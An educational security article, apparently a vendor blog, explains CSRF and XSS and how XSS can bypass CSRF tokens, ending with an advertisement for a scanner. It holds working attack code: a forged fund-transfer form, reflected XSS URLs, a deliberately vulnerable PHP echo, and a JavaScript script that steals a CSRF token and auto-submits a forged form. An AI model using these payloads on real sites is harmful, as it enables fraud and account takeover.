CSRF vs XSS: What do they have in common and what is the difference

Share on facebook
Share on twitter
Share on linkedin
CSRF vs XSS banner

Both CSRF and XSS are client side attacks. What else do they have in common and what is the difference between them? Learn the answer to those and more questions by reading this article. We are going to cover:

What is the difference between CSRF and XSS?

What is CSRF?

Cross site request forgery (CSRF) is a web application security attack that tricks a web browser into executing an unwanted action in an application to which a user is already logged in. The attack is also known as XSRF, Sea Surf or Session Riding.

A successful CSRF attack can result in damaged client relationships, unauthorized fund transfers, changed passwords and data theft. This attack can be devastating for both the business and the client.

CSRF vulnerabilities have been found in many applications including some big names like McAfee and INGDirect.

How does CSRF work?

To conduct a successful CSRF attack, the attacker will typically use social engineering, such as an email or link that will trick a victim into sending a forger request to a server. As the user is already authenticated by their application at the time the attack is happening, it’s impossible for the application to differentiate a legitimate request from a forged one.

For a CSRF attack to be possible and successful, these three key conditions must be in place:

  • Relevant action: privileged action or any action on user-specific data
  • Cookie-based session handling: the action performing involves issuing one or several HTTP requests, and the application relies only on session cookies to identify the user who made the request. No other mechanism is in place for validating user requests or tracking sessions.
  • No unpredictable request parameters: the request doesn’t contain any parameters whose values cannot be guessed or determined by the attacker.

CSRF Example

Assume that your bank’s website provides a form that allows transferring funds from the logged in user to a different bank account. For example, the HTTP request might look like this:

POST /transfer HTTP/1.1
Host: bank.example.com
Cookie: JSESSIONID=randomid; Domain=bank.example.com; Secure; HttpOnly
Content-Type: application/x-www-form-urlencoded
amount=100.00&routingNumber=1234&account=9876

Assume you authenticate to your bank’s website, and without logging out, you visit an evil website. The evil website contains a HTML page that has the following form:

<form action="https://bank.example.com/transfer" method="post">
<input type="hidden"
      name="amount"
      value="100.00"/>
  <input type="hidden"
      name="routingNumber"
      value="evilsRoutingNumber"/>
  <input type="hidden"
      name="account"
      value="evilsAccountNumber"/>
  <input type="submit"
      value="Win Money!"/>
</form>

You like winning money, so the next thing you do is clicking the submit button. Unintentionally, you transfer $100 to a malicious user in the process. Why does this happen? While the evil website can’t see your cookies, those cookies associated with your bank are being sent along with the request.

What is XSS?

Cross-site scripting or XSS is a web security vulnerability that lets an attacker compromise the interactions users have with a vulnerable application. The attacker is allowed to avoid the same origin policy designed to segregate different websites.

XSS vulnerabilities usually allow the attacker to disguise as a victim user, to perform any action the user is able to perform, and to access any of the user’s data. The attacker might be able to get complete control over all of the application’s data and functionality if the victim user has privileged access within the application. XSS attacks’ victims include some big names like eBay, Twitter and Yahoo.

How does XSS work?

A typical XSS attack has two stages:

  1. For running malicious JavaScript code in a victim’s browser, the attacker must find a way to inject the malicious code to a web page the victim visits.
  2. After injecting the malicious code, the victim needs to visit the webpage with that code. If the attack is directed at particular victims, social engineering and/or phishing can be used to send a malicious URL to the victim.

XSS Example

The following snippet of server-side pseudo code is used to display the most recent comment on a web page:

print “<html>”
print “<h1>Most recent comment</h1>
print database.latestComment
print “</html>

The script above takes the latest comment from a database and inserts it into an HTML page. It assumes that the comment consists of only text, without any HTML tags or other code. What makes it vulnerable to XSS is allowing the attacker to submit a malicious payload within a comment, like:

<script>doSomethingEvil();</script>

The web server provides the following HTML code to users that visit this web page:

<html>
<h1>Most recent comment</h1>
<script>doSomethingEvil();</script>
</html>

The malicious script executes once the page is loaded in the victim’s browser. Most often, the victim is unable to prevent such an attack because it is hard to even realize the attack is happening.

How is CSRF different from XSS?

The key difference between those two attacks is that a CSRF attack requires an authenticated session, while XSS attacks don’t. Some other differences are:

  • Since it doesn’t require any user interaction, XSS is believed to be more dangerous
  • CSRF is restricted to the actions victims can perform. XSS, on the other hand, works on the execution of malicious scripts enlarging the scope of actions the attacker can perform
  • XSS requires only a vulnerability, while CSRF requires a user to access the malicious page or click a link
  • CSRF works only one way – it can only send HTTP requests, but cannot view the response. XSS can send and receive  HTTP requests and responses in order to extract the required data.

Can CSRF tokens prevent XSS attacks?

Some XSS attacks can be prevented through effective use of CSRF tokens. Consider a simple reflected XSS vulnerability that can be trivially exploited like this:

https://insecure-website.com/status?message=<script>/*+Bad+stuff+here…+*/</script>

Now, suppose that the vulnerable function includes a CSRF token:

https://insecure-website.com/status?csrf-token=CIwNZNlR4XbisJF39I8yWnWX9wX4WFoz&message=<script>/*+Bad+stuff+here...+*/</script>

If the server properly validates the token, and rejects requests without a valid CSRF token, the token will prevent exploitation of the XSS vulnerability. The reflected form of XSS involves a cross-site request. By preventing the malicious user from forging a cross-site request, the application prevents trivial exploitation of the XSS vulnerability.

Some important caveats arise here:

  • If a reflected XSS vulnerability is present anywhere else on the website in a function that is not protected by a CSRF token, XSS can be exploited in the normal way
  • An exploitable XSS vulnerability anywhere on the site can be leveraged to make a victim user perform actions even if those actions are protected by CSRF tokens. 
  • CSRF tokens don’t protect against stored XSS. If a page protected by a CSRF token is also the output point for a stored XSS vulnerability, then that XSS vulnerability can be exploited in the usual way.

Can we bypass CSRF protection with an XSS attack?

Using XSS we can bypass the CSRF protection and we can automate any action that anybody can do on the application without problems.

Let’s start with a basic CSRF POST attack, which would look something like this:

<form  id="myform" action="http://localhost/csrf/login.php" method="post">
    <input type="hidden" name="token" value="unkown_csrf_token" />
       Name: <input type="text" name="name" value="evilUser"><be>
   <input type="submit">
</form>

<script>document.forms["myform"].submit();</script>

The attacker would place this code on a website, and then trick a victim into visiting it. Because of CSRF protection, this would not work. The result would be:

wrong token given: unknown_csrf_token expected: 4baabea60e7683f9feb54086cebda4e4

If the attacker now introduces an XSS vulnerability to the website, he will be able to perform CSRF attacks. The XSS vulnerability doesn’t have to be in the same script as the form is:

// /var/www/csrf/search.php
<html>
    <body>
        <?php echo $_GET['s']; ?>
    </body>
</html>

Now it’s easy for the attacker to bypass CSRF protection via XSS. He would first get the valid token from the form, build the attack from with the retrieved token, and then submit the form:

var csrfProtectedPage = 'http://localhost/csrf/login.php';
var csrfProtectedForm = 'form';
// get valid token for current request
var html = get(csrfProtectedPage);
document.body.innerHTML = html;
var form = document.getElementById(csrfProtectedForm);
var token = form.token.value;
// build form with valid token and evil credentials
document.body.innerHTML
        += '<form id="myform" action="' + csrfProtectedPage + '" method="POST">'
        + '<input type="hidden" name="token" value="' + token + '">'
        + '<input id="username" name="name" value="evilUser">'
        + '</form>';
// submit form
document.forms["myform"].submit();
function get(url) {
    var xmlHttp = new XMLHttpRequest();
    xmlHttp.open("GET", url, false);
    xmlHttp.send(null);
    return xmlHttp.responseText;
}

After that, the attacker would place this script on a server under his control, for example http://localhost/csrf/script.js, and would trick the victim into visiting http://localhost/csrf/search.php?s=<script src="http://localhost/csrf/script.js"></script>.

The malicious JavaScript doesn’t have to be hosted on the victim server.

The script would be executed in the context of the victim website, and the attacked form would be submitted in the name of the victim user.

The result in our debug file would be:

issuing token: 8c168479619c9dbcbfa1cdef5e93daf8
token ok: evilUser

The value evilUser, controlled by the attacker, would be submitted by the victim.

In an actual attack, the victim wouldn’t be aware of any of this happening, as the attacker can load and execute the malicious JavaScript in an iframe and possibly redirect the victim to an innocent page.

Preventing CSRF and XSS with NeuraLegion

Having CSRF protection in place doesn’t limit the potential of XSS vulnerabilities. This increases the importance of proper XSS protection. 

With NeuraLegion’s NexPloit you can test for both CSRF and XSS, besides of other OWASP Top 10 vulnerabilities and more. NexPloit is from ground up built with developers in mind, and integrates with the tools developers already use and love.

NexPloit reports only those findings that the engine validates can be exploited, reducing the alert fatigue to zero. The reported findings come with clear remediation guidelines for the team, to fix the security vulnerabilities before they hit production.

Want to see NexPloit in action? Get a free account here – https://nexploit.app/signup

Want to learn more about CSRF or XSS?

Have a look at these articles:

Secure your app with every build

Sign up for a FREE NeuraLegion account.
Share on facebook
Share on twitter
Share on linkedin
Related Articles

Secure your app with every build

  • Easily and quickly find & fix security bugs

  • Automate it in your build pipeline

  • No false positives

  • Scan any target: web apps & APIs